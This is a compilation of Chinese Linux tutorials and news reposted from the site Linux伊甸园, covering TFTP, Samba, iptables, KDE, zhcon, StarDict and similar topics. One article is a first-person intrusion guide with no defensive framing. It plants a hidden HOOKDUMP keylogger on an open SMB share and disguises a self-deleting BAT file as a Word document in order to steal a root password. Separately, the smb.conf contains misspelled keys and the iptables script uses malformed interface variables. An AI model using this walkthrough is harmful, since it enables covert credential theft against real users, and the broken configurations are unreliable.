2008年10月15日星期三

用Tftp向目标板烧写Linux的系统内核过程







 

平台:vmware 6虚拟机 Redhat9.0 up-tech2410s ARM9(由于viiv自带安装了tftp-client ,故可以使用tftp服务向目标板烧写内核等)


 


1)终端下执行minicom,进行串口设置


 


注意:非正常关闭minicom,会在/var/lock下创建几个文件LCK*,这几个文件阻止了minicom的运行,将它们删除后即可恢复)


 


2)(如果没有安装tftp-server-0.32-4.i386.rpm 可以在redhat第三张光盘上找到。安装tftfp-server: rpm -ivh tftp-server-0.32-4.i386.rpm)


 


设置tftp共享目录:进入/etc/xinetd.d/tftp文件,修改server_args项中的目录,如下:


 


service tftp


 


{ socket_type =dgram


 


protocol =udp


 


wait =yes


 


user =root


 


server =/usr/sbin/in.tftpd


 


server_args =-s /tftpboot -c


 


disable =no


 


per_source =11


 


cps =100 2


 


flags =IPv4


 


}


 


说明:修改项server_args= -s -c,其中处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定了可以创建文件。


 


注意:共享目录一定不要选择/root这样的特权目录,否则传输文件会失败accwss denied)


 


service xinetd restart (重启服务,启动tftp服务)


 


3)将编译好的内核(如命名为:zImage)放入到tftp共享文件夹中。(编译内核过程不阐述)


 


4)开发板上电、按任意键(非enter)进入vivi


 


注意:先启动minicom,然后才开发板上电


 


5)设置tftp服务器与客户端IP地址(我虚拟机上的地址为219.222.170.14)


 


故在终端上输入命: vivi> set c 219.222.170.100 (开发板ip)


viivi> set s 219.222.170.14(宿主机ip) 两者ip第三位必须相同


tftp flash kernel zImage


 


速度很快。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

Windows与Linux系统共享交换分区的方法



很多人通过在机器上安装双系统来运行 Linux 和 Windows。Linux 通常采用交换分区。进入 Windows 下则采用交换文件,这时交换分区就完全闲置了。其实我们完全可以把这块空间利用起来,存放一些不需要长久保存的文件,例如交换文件等等。所需要的只是一个简单的文件系统驱动程序 swapfs,可在这里下载 http://www.acc.umu.se/~bosse/swapfs-2.zip


 


(顺便提一句,swapfs 的作者是个文件系统 fans,主页上有不少文件系统和准文件系统,值得一观)。


 


简而言之,swapfs 这个软件做了两件事:当 Windows 启动的时候,它在交换分区上创建一个新的 FAT 文件系统;当 Windows 关闭的时候,它在交换分区上创建一个新的 swap 文件系统。


 


让 Windows 把交换文件放到交换分区上有两个好处:


 


1、节省了单独的交换文件空间。


2、交换分区是独立的文件系统,交换文件存放在上面不会碎片化。


 


安装 swapfs 步骤很简单。下载 swapfs 驱动,解压缩到 swapfs 目录,其中包含 1 个目录和 5 个文件


 


目录


--------------------------


sys 源代码


 


文件


--------------------------


COPYING.TXT GPL v2 许可。


install.txt 一个极简单的安装说明。


readme.txt 说明文件。


swapfs.reg 注册表项目。


swapfs.sys 驱动程序。


 


我们关心的是 swapfs.reg 和 swapfs.sys。


 


首先把 swapfs.sys 复制到 %systemroot%\system32\drivers\ 目录。然后我们需要通过添加注册表项目来知会 Windows 一声。用普通的文本编辑器修改 swapfs.reg 当中


 


"SwapDevice"="\\Device\\Harddisk0\\Partition5"


 



 


"S:"="\\Device\\Harddisk0\\Partition5"


 


这两行以符合你的需要。第一行是 Windows 内部命名系统;第二行是兼容的 MS-DOS 命名法。规则很简单,第一个分区 hda1 是 Partition1,依此类推,扩展分区跳过不计。双击导入注册表,然后重新启动就能看到新的 S: 盘了。


 


注意 swapfs 不会帮你保存系统上的任何数据。


 


换言之,就是在s盘的文件将会在下次启动时消失。


 


装了个 Windows 试了一下,可以的。



--------------------next---------------------

Samba服务器多系统用户共享目录设计方法



要让所有用户都有统一的路径入口;在Windows文件浏览器中,我们要通过\\IP或域名\共享目录名查看,而在Linux的Gnome文件浏览器中查看的方式是 smb://域名或IP地址/共享目录名。而我们让所有用户都通过唯一的地址进入共享文件系统。


 


1、所有的用户登陆口都是LinuxAdmin目录


 


2、管理部目录:manage 管理部2个经理成员目录:manage01,manage02。


manage01对manage02 有查看权限,但不能写入文件。


manage02对manage01有查看权限,但不能写入文件。


manage01和manage02对software,公共文档,共享可写,成员目录,实施管理。


Software:目录对任何人具有读取权限。


公共文挡:目录对任何人具有读取权限。


共享可写:所有的成员具有写入权限。但管理权在管理部。


成员目录:下设:mge01和mge02目录。mge01对mge02 有查看权限,但不能写入文件 。mge02对mge02 有查看权限,但不能写入文件。


 


3、linuxAdmmin为总管理员,可以扔有samba文件系统的共享目录,拥有所有的权限。


manage01对manage02 有查看权限,但不能写入文件。对共它都可以操作。


manage02对manage01 有查看权限,但不能写入文件。对共它都可以操作。


mge01对mge02 有查看权限,但不能写入文件 ,在“共享目录”拥有写入权限。


mge02对mge01 有查看权限,但不能写入文件 ,在“共享目录”拥有写入权限。


 


4、创建目录


 


5、创建用户组并添加用户


 


6、修改samba文件:vi /etc/samba/smb.conf


 


按下“59g”再按gg就到[global]这个地方了


[global]


workgroup = linuxAdmin


netbios name = linuxAdmin server


server string = linuxAdmin file server


hos allow = 192.168.1. 192.168.2. 127.


secarity = user


printcap = caps


guest account = nobody


guest ok = yes


[linuxAdmin]


comment = linuxAdmin samba server


path = /home/samba/


create mask = 0664


directory mask = 0775


writeable = yes


vaiid users = @linuxAdmin,@manage,@mge,nobody


browseable = yes


guest ok = yes


:wq!


 


其它的我们都不要了。


 


7、添加samba用户:


[root@localhost /]# smbpasswd a


linuxAdmin


New SMB password: linuxAdmin #这里是我们自已输入的


Retype new SMB password: linuxAdmin #这里给上边我们输入的一样


 


再用上边的方法添加:manage01,manage02,mge01,mge02


 


好了就是这样了,不知道怎么样。



--------------------next---------------------

在Linux系统下制作一个简单的MP3播放器







 

代码(一个简单的GUI,通过菜单打开文件并播放,要停止播放直接关闭窗口即可。)


 


/**


* @kissplayer.java


*


*


* @author


* @version 1.00 2007/10/13


*/


 


import java.awt.*;


import javax.swing.*;


import java.awt.event.*;


import javax.swing.event.*;


import java.io.*;


import javax.media.*;


import java.io.File;


import java.io.IOException;


import java.net.URL;


import java.net.MalformedURLException;


 


class KissFrame extends JFrame{


 


 


KissFrame() {


super("Simple Video Player");


setSize(400, 300);


setDefaultCloseOperation(EXIT_ON_CLOSE);


 


JMenuBar jmb = new JMenuBar();


JMenu jMenu1 = new JMenu("文件");


JMenu jMenu2 = new JMenu("控制");


JMenuItem jMenuItem1_1 = new JMenuItem("打开");


JMenuItem jMenuItem1_2 = new JMenuItem("退出");


jmb.add(jMenu1);


jmb.add(jMenu2);


jMenu1.add(jMenuItem1_1);


jMenu1.add(jMenuItem1_2);


// Add action HERE


MenuItemListener listener = new MenuItemListener();


jMenuItem1_1.addActionListener(listener);


setJMenuBar(jmb);


 


Container contentPane = getContentPane();


}


 


private class MenuItemListener implements ActionListener {


public void actionPerformed(ActionEvent event) {


// System.out.println("jMenuItem1_1");


JFileChooser chooser = new JFileChooser("."); // "."表示本目录


int result = chooser.showOpenDialog(null);


if(result == chooser.APPROVE_OPTION)


{


File selectedFile = chooser.getSelectedFile();


SimpleAudioPlayer.beginPlay(selectedFile);


 


}


else if(result == chooser.CANCEL_OPTION)


{


// 用户取消了操作


}


}


}


 


 


 


public static void main (String[] args) {


KissFrame sf = new KissFrame();


sf.setVisible(true);


}


}


 


class SimpleAudioPlayer {


private Player audioPlayer = null;


 


public SimpleAudioPlayer(URL url) throws IOException,


NoPlayerException,


CannotRealizeException {


audioPlayer = Manager.createRealizedPlayer(url);


}


 


public SimpleAudioPlayer(File file) throws IOException,


NoPlayerException,


CannotRealizeException {


this(file.toURL());


}


 


public void play() {


audioPlayer.start();


}


 


public void stop() {


audioPlayer.stop();


audioPlayer.close();


}


 


public static void beginPlay(File audioFile) {


try {


SimpleAudioPlayer player = new SimpleAudioPlayer(audioFile);


player.play();


// player.stop();


} catch(IOException e) {


System.out.println(e.getMessage());


} catch(NoPlayerException ee) {


System.out.println(ee.getMessage());


} catch(CannotRealizeException eee) {


System.out.println(eee.getMessage());


}


}


}


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

Linux系统下IPtables防火墙简易设置方法







 

iptables.rule为firewall总规则;


iptables.allow为充许进入的主机;


iptables.deny为不许放的主机;


 


iptables.allow代码如下:


#!/bin/bash


# This is an esay firewall.


# the inside interface. if you don't have this one


# and you must let this be black ex> INIF=""


INIF="eth0"


INNET="192.168.160.0/20"


# 2.0 load the right module


PATH=/sbin:/bin:/usr/sbin:/usr/bin


export PATH EXTIF INIF INNET


modprobe ip_tables > /dev/null 2>&1


modprobe iptable_nat > /dev/null 2>&1


modprobe ip_nat_ftp > /dev/null 2>&1


modprobe ip_nat_irc > /dev/null 2>&1


modprobe ip_conntrack > /dev/null 2>&1


modprobe ip_conntrack_ftp > /dev/null 2>&1


modprobe ip_conntrack_irc > /dev/null 2>&1


# 3.0 clear iptables rule


/sbin/iptables -F


/sbin/iptables -X


/sbin/iptables -Z


/sbin/iptables -F -t nat


/sbin/iptables -X -t nat


/sbin/iptables -Z -t nat


/sbin/iptables -P INPUT DROP


/sbin/iptables -P OUTPUT ACCEPT


/sbin/iptables -P FORWARD ACCEPT


/sbin/iptables -t nat -P PREROUTING ACCEPT


/sbin/iptables -t nat -P POSTROUTING ACCEPT


/sbin/iptables -t nat -P OUTPUT ACCEPT


# 4.0 start loading trusted and denied file.


if [ -f /usr/local/virus/iptables/iptables.allow ]; then


sh /usr/local/virus/iptables/iptables.allow


fi


if [ -f /usr/local/virus/iptables/iptables.deny ]; then


sh /usr/local/virus/iptables/iptables.deny


fi


# 5.0 if the following file exist ,please executed


if [ -f /usr/local/virus/httpd-err/iptables.http ];then


sh /usr/local/virus/httpd-err/iptables.http


fi


# 6.0 allow icmp data packet and the establishd data


/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT


AICMP="0 3 3/4 4 11 12 14 16 18"


for tyicmp in $AICMP


do


/sbin/iptables -A INPUT -i $EXTIF="eth0" -p icmp --icmp-type $tyicmp -j ACCEPT


done


# 7.0 open the other service ports


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 25 -j ACCEPT # SMTP


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 53 -j ACCEPT # DNS


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 80 -j ACCEPT # WWW


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 110 -j ACCEPT # POP3


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 113 -j ACCEPT #AUTH


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 22222 -j ACCEPT #SSH


/sbin/iptables -A INPUT -p UDP -i $EXTIF="eth0" --dport 138 -j ACCEPT #138


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 139 -j ACCEPT #139


/sbin/iptables -A INPUT -p UDP -i $EXTIF="eth0" --dport 137 -j ACCEPT #137


/sbin/iptables -A INPUT -p TCP -i $EXTIF="eth0" --dport 445 -j ACCEPT #445


 


iptables.allow代码如下


#!/bin/bash


# this program is used to allow some IP or hosts to access your server


/sbin/iptables -A INPUT -i $EXTIF="eth0" -s 192.168.161.242 -j ACCEPT


/sbin/iptables -A INPUT -i $EXTIF="eth0" -s 192.168.160.178 -j ACCEPT


/sbin/iptables -A INPUT -i $EXTIF="eth0" -s 192.168.160.218 -j ACCEPT


iptables.deny代码如下


#! /bin/bash


# This script will deny some IPs that I don't want in IN


/sbin/iptables -A INPUT -i $EXTIF="eth0" -s 192.168.160.242 -j DROP


 


以上的三个文件都放在/usr/local/virus/iptables目录下,最在修改此文件/etc/rc.d/rc.local成如下代码。


 


#!/bin/sh


#


# This script will be executed *after* all the other init scripts.


# You can put your own initialization stuff in here if you don't


# want to do the full Sys V style init stuff.


touch /var/lock/subsys/local


# Starting firewall settings


/usr/local/virus/iptables/iptables.rule


 


以上就是linux下firewall简易设置啦。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

看一看黑客的手段 Linux操作系统入侵实例



Once upon a time,我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那它的口令一般也很简单,反之亦然,故且称之为若氏定理吧),结果一个帐号也不存在,我没有再试它的帐号。因为我被它开的端口吸引住了,它开着WWW,我就不信它不出错。一连拿了五种CGI和WWW扫描器总计扫了三四百种常见错误它几乎都不存在。:( 有几个错误,但我不知道如何利用,算了。又绕着主机转了几圈,象狐狸遇见刺猬,无从下嘴。


 


还是看看root的信息吧:


 


finger root@xxx.xxx.xxx


Login name: root In real life: system PRIVILEGED account


Directory: / Shell: /bin/sh


Last login Fri Jul 28 09:21 on ttyp0 from 202.xx.xx.xx


No Plan.


 


root经常来,那个202.xx.xx.xx就是他用的工作站了,从那会不会看到点东西呢?


 


net view \\202.xx.xx.xx


Shared resources at \\202.xx.xx.xx


 


Sharename Type Comment


x


x


我的公文包


 


The command was completed successfully.


 


在上网的机器上开着WINDOWS的“文件和打印机共享”的服务,是很多人容易掉以轻心的,这个root没有例外。如果它的C盘共享了而且可写那就好了,但那是做梦,现在开了共享的目录没有一个是根目录,连D驱的都没有。别着急,慢慢来。x掉的那些文件夹都没用,不能写,里面尽是些英文原著,这个root还挺行的。“我的公文包”吸引了我的注意,这是一个用于将不同的机器上的资料进行同步的工具,很显然这个root要经常更新主机上的主页,有时候在自己的机器上编,有时候在主机上编……所以很重要的一点:“我的公文包”的共享一般都是可写的!


 


那我再进去看看。


 


>net use i: \\202.xx.xx.xx


>i:


>echo asdf>temp.txt


不错,确实可写。


>del temp.txt


不留痕迹——黑客的习惯。


>dir/od/p


 


看看都有些什么…… 倒数第二排那个是什么?“X月工作计划.doc”!就是它了,既然是计划就不可能写完了就丢一边,它肯定会再次打开它的——至少下个月写计划时要COPY一下:->


 


该动手了,我的目标就是让它下次打开时误中我的陷阱而运行我藏的木马。我这次用的是一个键盘计录软件HOOKDUMP,我觉得它挺好的,价钱实惠,量也足…… 对不起,说习惯了,应该是它不仅记录下全部击键,还记录下打开或关掉了什么程序、按过什么按纽、用过什么菜单…… 总之,它的记录让你就和你站在他身后看他操作计算机一样详细了。您要问那么多木马你为啥装这个?要知道无论是中国的冰河、netspy还是外国的netbus、BO,都被各种杀毒软件列为头号侦查对象,而一个root的机器上可不可能没装杀毒软件?还是HOOKDUMP好,小小的,不起眼,不过如果大家都用只怕我再用它的机会就少了……


 


>copy hookdump.* i:


 


补充一点:上传前先编好它的hookdump.ini文件,置为隐藏方式运行,不然root一运行屏幕上蹦出一大窗口可就……。


 


然后再在自己的机器上编一个同名的BAT文件:X月工作计划.BAT


 


>edit c:\X月工作计划.BAT


@echo off


hookdump


attrib -h X月工作计划.doc


C:\Program Files\Microsoft\Office\Winword X月工作计划.doc


attrib -h temp.bat


del temp.pif


del temp.bat


 


看明白了吧?root运行了这个BAT文件实际上就是先运行木马,再调用WINWORD文件打开它想开的这个文件,然后自我删除,也许它机器上WINWORD的位置不同,那调用就会失败,不过不要紧,反正BAT会马上删除,他会以为是自己的误操作。


 


这时你的C驱根目录就有了这么一个BAT文件,它是一个方形的图标,和那个WORD文件大相径庭,root怎么会运行它呢?没关系,在这个文件上点右键,点属性,在“程序”栏选“更改图标”不就行了吗?WORD的图标在你机器C:\Program Files\Microsoft\Office\中。还要将“运行”改为“最小化”,“退出时关闭”打上勾,这样才能保证在运行时一点迹象也没有。事实上这个BAT文件变成了两个,还有一个PIF文件就是它的图标。


 


把这两个文件传上去:


 


>copy X月工作计划.bat i:


>copy X月工作计划.pif i:


 


然后把它的文件和自己的文件都藏起来:


 


>attrib +h X月工作计划.doc


>attrib +h X月工作计划.bat


 


这样,root的“公文包”里只剩下一个和原来一模一样的WORD图标,他做梦也没想到这已变成了一个BAT文件。然后可以喘口气了,让我们静静的等……


 


几天后,我进入这个工作站,取下记录下来的击键记录,找出root的口令,进入主机。



--------------------next---------------------

Linux系统桌面环境:KDE 4.0 Beta 3发布







 

KDE 开发者在今天发布了 KDE 桌面环境 4.0 的第三个 Beta 测试版。该版本对 KDE 代码库进行了进一步的打磨,并冻结了 KDE 开发平台。随同 KDE 4.0 Beta 3 一起发布的还包括 KOffice 2.0 Alpha 4。


 


KDE 4.0 Beta 3 改进了 Plasma 组件、PIM 软件、以及教育软件。其中,Plasma 现在已经提供了任务栏、面板、桌面壁纸等基本的组件。PIM 套件中的 KAlarm 已完全移植到 KDE 4,并获得了一些新特性;KPilot 已作好移植到 KDE 4 的准备。在教育软件中的 KVoctrain 已改名为 Parley;Marble 现在支持新的 2D 投影;Step 现在能够在笔记中嵌入公式。


 


在 KDE 4.0 Beta 3 中的其他改进还包括 Gwenview 已迁移到 KDE 4 的 Kdegraphics 模块,Konqueror 有了新的默认预置文件,KWin 现在可自动检测图形硬件并能自动调整到最佳性能的配置,引入了 KLinkStatus 等。


 


KOffice 2.0 Alpha 4 改进了对 OpenDocument 的支持,为 KSpread 提供了很多新的公式功能,KChart 现在具有新的 Flake 形状。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

Linux等开源操作系统在嵌入式领域的挑战







 

在经济领域内,任何新产品的出现都必然面临着挑战和被挑战。而计算机软件作为一个特殊的商品,目前正面临着开放源代码的挑战。开放源代码促进了计算机技术的交流与发展,得到了越来越多的肯定与支持。但开源并不意味着免费。用户在获取并使用软件的同时,也在使用厂商提供的服务和安全保障。而服务和安全保障是计算机软件的真正价值所在,这是永远无法免费的。同时对于安全性和保密性要求较高的领域来说,免费和非自主版权并不是一个很好的选择。


 


谈到开源就不得不谈谈Linux系统。目前以Linux系统为代表的开源系统软件对传统的非开源系统软件发起了强有力的挑战。Linux系统的优秀特性和源代码的完全免费开放为我们提供了追赶世界先进水平的有利工具,但并不是唯一工具。如果我们仅局限于利用Linux来发展我们自己的计算机软件产业,那么是毫无前途可言的。


 


Linux系统之所以为众多厂商所青睐,除其自身的技术优秀外,还在于它为计算机软件厂商提供了廉价经济甚至免费的开发平台。但Linux系统并不是完美无缺的。在嵌入式系统上运行Linux的一个缺点是Linux体系提供硬实时性能需要添加实时软件模块。而这些模块运行的内核空间正是操作系统实现调度策略、硬件中断异常和执行程序的部分。由于这些实时软件模块是在内核空间运行的,因此代码错误可能会破坏操作系统从而影响整个系统的可靠性,这对于实时应用将是一个非常严重的弱点(内核空间更多的使用指针)。


 


另一方面,现成的实时操作系统(RTOS)完全是为实时性能而设计的,它通过在由用户而非系统级进程启动时分配给某个进程以高于其它进程的优先级的方式来实现实时性。进程在操作系统看来就是在内存里或硬盘驱动器上执行的程序。给他们指定进程ID或者数字标识符为的是避免直接使用指针,野指针的使用后果是灾难性的,有利于提高可靠性。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

苹果最新操作系统Leopard 欲抢VISTA风头







 

经过漫长的开发和测试之后,苹果公司在10月26日正式发布最新版的操作系统Leopard,其中包含了约300项新技术。为了在企业计算市场争夺更大的市场份额,苹果公司强调即将面世的Mac OS X Leopard操作系统是完全兼容Unix的。Apple期望新产品能够使Mac OS X更深层次的深入到企业计算市场,抢占由微软占据的市场份额。


 


据统计,今年第二季度苹果超过Gateway成为美国市场第三大计算机供应商,市场份额6.4%,同比增长5%。苹果全球市场营销高级副总裁菲尔·席勒表示,现有苹果用户将迅速升级到Leopard。


 


Leopard兼容POSIX (可移动操作系统接口),这就保证了在一个POSIX系统上编写的代码可以在另一个POSIX系统上运行。Leopard是一款真正的64位操作系统,并向下兼容32位。


 


 



苹果 Leopard

 


除了全面兼容Unix之外,Leopard还预装了Bootcamp,该软件能够使用户在 Macintosh上运行Windows应用程序。这就能够帮助苹果克服苹果的操作系统平台上缺少企业应用程序的缺点。用户可以更方便地实现Mac OS X和Windows的双启动,从而在开机或重启时,选择进入哪个系统。


 


当然,如果苹果想要在企业计算市场获得成功,还有很长的一段路要走。来自各方面的信息表明,苹果在PC市场的整体份额在5%到6%左右,但是在商用市场中这一数字却在下降,因为苹果机通常仅用于图形图像部分。除了来自微软的压力之外, Leopard还必须同Linux竞争,争夺广大的企业市场。根据IDC的数据调查显示,虽然Linux在桌面市场收效甚微,但是Linux占据了12% 以上的服务器市场。


 


想要运行这个操作系统,用户需要一台Mac,最低867MHz的PowerPC G4处理器,512MB内存和9GB的可用磁盘空间。Leopard的服务器版本同时发布,功能包括Web服务,应用程序服务器和目录服务应用程序。后端操作系统还包括协作和分布式计算功能。


 


苹果公司相信,Leopard崭新整洁的界面将会给PC和笔记本电脑用户带来全新的感受,并希望能够在和微软Windows Vista操作系统的竞争中取得一定优势。例如,单击某个文件夹时,堆栈功能可以将文件夹中的文件排列成有趣的扇形。而Vista的Flip 3D功能则将文件和窗口排列成三维的瀑布图形。


 


Leopard还借鉴了iPod的界面。改进后的Finder工具可以使用户能够迅速翻阅表示文件的图标,就像在iPod中浏览音乐轨道一样。Leopard中的Finder搜索程序的搜索范围已经不仅限于本地计算机,还可以搜索网络中的其他 Mac、服务器。此外,Finder中加入了Cover Flow的浏览模式,如今无论各种文档、PDF、图片、视频都可以用翻页的方式进行浏览。但是苹果表示, Leopard绝对不仅仅拥有一个漂亮的界面。


 


Leopard中有一个功能叫做Time Machine,它和外部硬件驱动器一起,自动创建完整的用户系统映像。系统可以按照一定的频率备份系统。Gartner分析师迈克尔·西尔弗称,同 Vista相比,Leopard升级更为容易,用户可方便感受到其新增功能。虽然Vista也具有备份功能,但该功能是隐藏的,用户对此并不熟悉。而苹果则使用了3D界面来使用该功能。


 


苹果CEO乔布斯在一次会议中演示了Leopard中的一项图形界面程序,其内容类似于苹果 TV的开机画面,但完全互动。数以千计的视频组成了一堵电视墙,用户可以随意调整视角,拉近拉远,甚至可以搜索想要的关键字,符合关键字的视频会飞到台前。这些功能让广大体验者激动不已。更加激动人心的是WebClip的网络剪切功能。在Safari浏览器中可以选择网页的任何一部分内容。


 


Leopard还具有一些增强的安全特性。它的Disk Utility工具能够使用户创建128位或256位AES加密文件。苹果表示,它的Sandbox技术可以确保只有支持该文件的应用程序才能访问相关文件。


 


根据Gartner的调查统计,苹果公司的苹果电脑在2007年第3季度的美国的市场份额上升到了8.1%,比去年同期增长6.2%。另外,据投资银行Piper Jaffay高级分析师Gene Munster的最新报告显示,苹果发布的Mac OS X 10.5 Leopard操作系统将给这个秋天苹果电脑的销售非常大的促进作用。另外,可能在明年1月发布的新款苹果笔记本电脑则将会把这次销售狂潮推上顶峰。所以,苹果公司的潜力不可小视。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

Linux操作系统控制台中文显示与中文输入







 

 


  一、前言


  Linux最初的开发完全是围绕ASCII编码体系进行的,没有考虑非英语用户面临的问题,因此导致其使用门槛较高,尤其对于亚洲用户而言,由于采用象形文字的特殊性(包括中文、韩文、日文,简称为CJK),使得对Linux进行本地化更为困难。在这样的背景下,ejoy等人发起了zhcon项目。该项目的目标是“为中文Linux使用者提供一个便捷易用的中文环境,特别适用于初学者,以及需要发布linux中文应用程序的开发者。”

  二、安装


  现在最新版本是0.2.6。zhcon的源代码和RPM包可以从http://zhcon.sourceforge.net/下载得到。在Sourceforger的网址http://sourceforge.net/project/showfiles.php?group_id=27400上,需要下载的文件有两个:一个是zhcon-0.2.5.tar.gz,一个是zhcon-0.2.5-to-0.2.6.diff.gz。

  1.首先解压并解包zhcon-0.2.5.tar.gz文件:
  [root@localhost zhcon]# tar zxvf zhcon-0.2.5.tar.gz
  解压之后得到一个zhcon-0.2.5。这个目录包含了zhcon-0.2.5版本的所有源代码和man手册等。

  2.然后将zhcon-0.2.5-to-0.2.6.diff.gz解压:
  [root@localhost zhcon]# gzip -d zhcon-0.2.5-to-0.2.6.diff.gz
  解压后得到zhcon-0.2.5-to-0.2.6.diff文件,这个文件实际上是一个补丁文件。

  3.将zhcon-0.2.5-to-0.2.6.diff文件打补丁到zhcon-0.2.5的源代码中:
  [root@localhost zhcon]# patch -p0 < zhcon-0.2.5-to-0.2.6.diff
  在目录zhcon-0.2.5的父目录中进行这一步。

  这样,原来的0.2.5版本的zhcon就升级到了0.2.6版本了。接下来的过程就是UNIX平台固定的“安装三步曲”了:

  [root@localhost zhcon]# ./configure --prefix=/usr/local/zhcon

  [root@localhost zhcon]# make

  [root@localhost zhcon]# make install

  三、运用

  1.要想在控制台下显示中文,键入命令:
  [root@localhost zhcon]# /usr/local/zhcon/bin/zhcon --utf8

  即可。

  2.要想在控制台下运用中文输入法:
  使用Ctrl+space或Ctrl+2来打开或关闭智能拼音输入法。


(责任编辑:A6)







本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

Windows与Linux系统共享StarDict字典文件



 


  StarDict (http://stardict.sourceforge.net/download.php)是一个非常好的免费字典,它的主体其实只是一个字典引擎。但因为有很多热心人,他们不辞劳苦的贡献了很多字典文件(http://stardict.sourceforge.net/Dictionaries_zh_CN.php),使得这个免费字典的词库变得十分的巨大,里面有很多你想也想不到的内容。

  说回本文的主题,因为StarDict有Windows与Linux的版本(还有更多适应不同操作系统平台的版本),而它们的字典文件都是相同的,所以如果大家的电脑像我的一样同时安装了Windows与Linux,那么其实只需一份字典文件就足够了,做法如下:

  在Windows与Linux上各自安装对应版本的StarDict,然后从网上下载StarDict的字典文件,把这些文件解压到Windows系统的StarDict安装目录下的Dic目录中。例如,在我的机器上安装的朗道中英字典的位置是:

  D:\Program Files\StarDict\dic\stardict-langdao-ce-gb-2.4.2

  那里面应该有这样(或相似)的文件
  langdao-ce-gb.dict.dz
  langdao-ce-gb.idx
  langdao-ce-gb.idx.oft
  langdao-ce-gb.ifo

  安装好Windows的程序后,回到你的Linux中,找到你StarDict字典的安装目录,我这里以我的机器为例,如果你的机器也是从Ubuntu的源中安装StarDict的话,那么字典文件将放在:

  /usr/share/stardict/dic

  确定位置后,然后运行下面的语句(请根据你自己的机器来修改安装的目录)

  ln -s "/media/wind/Program Files/StarDict/dic/stardict-langdao-ce-gb-2.4.2" "/usr/share/stardict/dic/stardict-langdao-ce-gb-2.4.2"

  (注意: /media/wind 是我 Linux 下 Windows D: 盘的挂接点。)

  这样就可以在 /usr/share/stardict/dic 中建立一个到 Windows 下的目录软连接,通过这个软连接,在Linux下的StarDict就可以找到想应的字典文件。

  但如果反过来,把字典文件放在linux下,那么以目前的情况来说是没有办法可以使Windows下的StarDict获得共享的字典。

  原因:第一,是因为Windows下暂时没有完美读取 Ext2/Ext3 的方案。

  第二,Windows下没有 Linux/Unix 下的软连接的功能。



--------------------next---------------------

web界面的phpMyAdmin 2.11.5-rc1发布







欢迎来到phpMyAdmin 2.11.5的第一个候选版本(RC),这是一个错误修正版本。
更多内容,请查看:http://sourceforge.net/forum/forum.php?forum_id=789671
phpMyAdmin是一个打算通过Web来处理MySQL管理的PHP写的工具。目前它能创建并且删除数据库,建立/删除/修改表格,删除/编辑/添加字段,执行任何SQL语句,在字段上管理键。
下载地址: http://sourceforge.net/project/showfiles.php?group_id=23067
更改日志:
2.11.5.0 (not yet released)
- bug #1862661 [GUI] Warn about rename deleting database
- bug #1866041 [interface] Incorrect sorting with AS
- bug #1871038 [import] Notice: undefined variable first_sql_delimiter
- bug #1873110 [export] Problem exporting with a LIMIT clause
- bug #1871164 [GUI] Empty and navigation frame synch.
- patch #1873188 [GUI] Making db pager work when js is disabled,
  thanks to Jürgen Wind - windkiel
- bug #1875010 [auth] MySQL server and client version mismatch (mysql ext.)
- patch #1879031 [transform] dateformat transformation and UNIX timestamps,
  thanks to Tim Steiner - spam38
- bug [import] Do not verify a missing enclosing character for CSV,
  because files generated by Excel don't have any enclosing character
- bug #1799691 [export] "Propose table structure" and Export
- bug #1884911 [GUI] Space usage
- bug #1863326 [GUI] Wrong error message / no edit (Suhosin)
- bug #1887204 [GUI] Order columns in result list messing up query
- patch #1893538 [GUI] Display issues on Opera 9.50,
  thanks to Jürgen Wind - windkiel
- bug [GUI] Do not display the database name used by the previous user,
  thanks to Ronny Görner
- bug [core] Remove cookies from $_REQUEST for better coexistence with
  other applications, thanks to Richard Cunningham


(责任编辑:A6)






本站文章仅代表作者观点,本站仅传递信息,并不表示赞同或反对.转载本站点内容时请注明来自-Linux伊甸园。如不注明,将根据《互联网著作权行政保护办法》追究其相应法律责任。

--------------------next---------------------

Linux操作系统下的集群原理及其实例解析







 

 


一、集群和Linux上的集群解决方案


 


集群系统(Cluster)主要解决下面几个问题:


 


高可靠性(HA)


 


利用集群管理软件,当主服务器故障时,备份服务器能够自动接管主服务器的工作,并及时切换过去,以实现对用户的不间断服务。


 


高性能计算(HP)


 


即充分利用集群中的每一台计算机的资源,实现复杂运算的并行处理,通常用于科学计算领域,比如基因分析,化学分析等。


 


负载平衡


 


